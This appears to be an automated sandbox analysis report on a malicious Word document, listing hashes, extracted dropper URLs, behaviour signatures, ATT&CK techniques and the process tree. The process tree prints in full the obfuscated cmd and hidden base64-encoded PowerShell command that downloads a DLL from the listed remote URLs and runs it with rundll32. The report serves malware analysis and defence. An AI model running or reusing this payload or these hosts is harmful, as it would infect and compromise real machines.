Analysis

  • max time kernel
    138s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    14-01-2021 13:45

General

  • Target

    3a37cd1e63b08dd55f5be2c2639f7a5c.doc

  • Size

    158KB

  • MD5

    3a37cd1e63b08dd55f5be2c2639f7a5c

  • SHA1

    9b7eb6238a235dc6e767ff5322a6b2a27719f191

  • SHA256

    a82aee5b05a1f8714068bf50b59b239fd6119efc6f5759385763c2080ac69c9d

  • SHA512

    022461e009435a19dbc4b6e9861cd0dfd87d3183797123be29592cec49925c8e13812c7bd6b3c6f0c7c37895280341bcfc32aa37748b6a634e390d02d839fbfc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://shulovbaazar.com/c/bcL6/

exe.dropper

https://mybusinessevent.com/tiki-install/e/

exe.dropper

http://uhk.cncranes.com/ErrorPages/3/

exe.dropper

https://capturetheaction.com.au/wp-includes/Yjp/

exe.dropper

https://thenetworker.ca/comment/8N4/

exe.dropper

https://trayonlinegh.com/cgi-bin/HBPR/

exe.dropper

http://mmo.martinpollock.co.uk/a/SQSGg/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3a37cd1e63b08dd55f5be2c2639f7a5c.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:648
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:4064
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:2920
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll,ShowDialogA
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2336
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll,ShowDialogA
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:2700
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lhbhz\jhna.cdn",ShowDialogA
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:3176

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

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    Downloads

    • C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll
      MD5

      7971af9a41e99ff98c1c143aa74087a0

      SHA1

      fdea3ed852377280a191ef768b93540e92714786

      SHA256

      17ee22e746a4577854b7f0bd627993b091d4346c1acd53ae06cf9be014efb585

      SHA512

      179ca27be722eba80e3b9cd68f4add7d0d5588604c349b09cc2db8759987bec041a55a6c4abeeb66be9196e3b99710e58d4657aa77ed66ba2640be1396f385c8

    • \Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll
      MD5

      7971af9a41e99ff98c1c143aa74087a0

      SHA1

      fdea3ed852377280a191ef768b93540e92714786

      SHA256

      17ee22e746a4577854b7f0bd627993b091d4346c1acd53ae06cf9be014efb585

      SHA512

      179ca27be722eba80e3b9cd68f4add7d0d5588604c349b09cc2db8759987bec041a55a6c4abeeb66be9196e3b99710e58d4657aa77ed66ba2640be1396f385c8

    • memory/648-2-0x00007FF99AF40000-0x00007FF99B577000-memory.dmp
      Filesize

      6.2MB

    • memory/2336-8-0x0000000000000000-mapping.dmp
    • memory/2700-10-0x0000000000000000-mapping.dmp
    • memory/2716-4-0x0000000000000000-mapping.dmp
    • memory/2716-5-0x00007FF994200000-0x00007FF994BEC000-memory.dmp
      Filesize

      9.9MB

    • memory/2716-6-0x0000028CF8480000-0x0000028CF8481000-memory.dmp
      Filesize

      4KB

    • memory/2716-7-0x0000028CF8690000-0x0000028CF8691000-memory.dmp
      Filesize

      4KB

    • memory/2920-3-0x0000000000000000-mapping.dmp
    • memory/3176-12-0x0000000000000000-mapping.dmp